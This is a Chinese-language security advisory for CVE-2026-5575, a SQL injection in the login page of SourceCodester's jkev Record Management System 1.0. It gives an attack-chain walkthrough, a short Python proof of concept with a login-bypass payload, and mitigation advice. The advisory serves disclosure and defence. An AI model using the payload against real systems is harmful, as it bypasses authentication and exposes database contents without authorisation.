IPBUF安全漏洞报告
English
CVE-2026-5575 CVSS 7.3 高危

CVE-2026-5575: jkev记录管理系统SQL注入漏洞

披露日期: 2026-04-05

漏洞信息

漏洞编号
CVE-2026-5575
漏洞类型
SQL注入
CVSS评分
7.3 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
SourceCodester/jkev Record Management System

相关标签

SQL注入远程漏洞Web安全SourceCodesterCVE-2026-5575

漏洞概述

SourceCodester/jkev Record Management System 1.0版本的登录组件存在高危安全漏洞。该漏洞源于index.php文件对用户提交的“Username”参数缺乏严格的过滤机制,导致攻击者能够构造恶意的SQL语句进行注入攻击。由于攻击无需认证且可远程发起,成功利用该漏洞可能导致敏感数据库信息泄露,甚至完全控制数据库,严重威胁系统的机密性、完整性与可用性。

技术细节

该漏洞属于SQL注入类型,主要影响SourceCodester/jkev Record Management System的登录功能。在处理登录请求时,后端代码直接将用户输入的Username参数拼接到SQL查询语句中,未使用预编译或转义机制。攻击者可以通过发送特制的HTTP POST请求,在Username字段注入SQL控制字符(如单引号)和逻辑运算符。这会改变SQL查询的原始逻辑,使攻击者能够绕过密码验证直接登录系统,或利用UNION SELECT语句读取数据库中的管理员哈希、用户表等敏感信息。鉴于CVSS向量显示无需用户交互且攻击复杂度低,该漏洞极易被自动化工具扫描和利用。

攻击链分析

STEP 1
信息收集
攻击者识别出目标服务器运行SourceCodester/jkev Record Management System 1.0,并定位到登录页面index.php。
STEP 2
构造攻击载荷
攻击者构造包含恶意SQL语句的Username参数,例如使用单引号闭合查询并添加恒真条件(OR '1'='1)。
STEP 3
发送恶意请求
攻击者向目标服务器发送POST请求,将恶意载荷注入到登录表单中。
STEP 4
执行注入与获取权限
后端数据库执行恶意SQL语句,绕过认证逻辑,攻击者成功登录系统或获取敏感数据库信息。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target URL target_url = "http://target-ip/index.php" # Payload for SQL Injection (e.g., Bypass Login) payload = { "Username": "admin' OR '1'='1' --", "Password": "password", "Login": "submit" } try: response = requests.post(target_url, data=payload) if "Welcome" in response.text or "dashboard" in response.text: print("[+] Exploit Successful! SQL Injection works.") else: print("[-] Exploit Failed.") except Exception as e: print(f"Error: {e}")

影响范围

SourceCodester/jkev Record Management System 1.0

防御指南

临时缓解措施
建议在Web应用防火墙(WAF)中添加针对SQL注入的防护规则,拦截包含单引号、UNION、SELECT等关键字的恶意请求。若无法立即升级,开发者应临时修改index.php代码,对Username参数进行强制类型转换或使用addslashes等函数进行转义。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表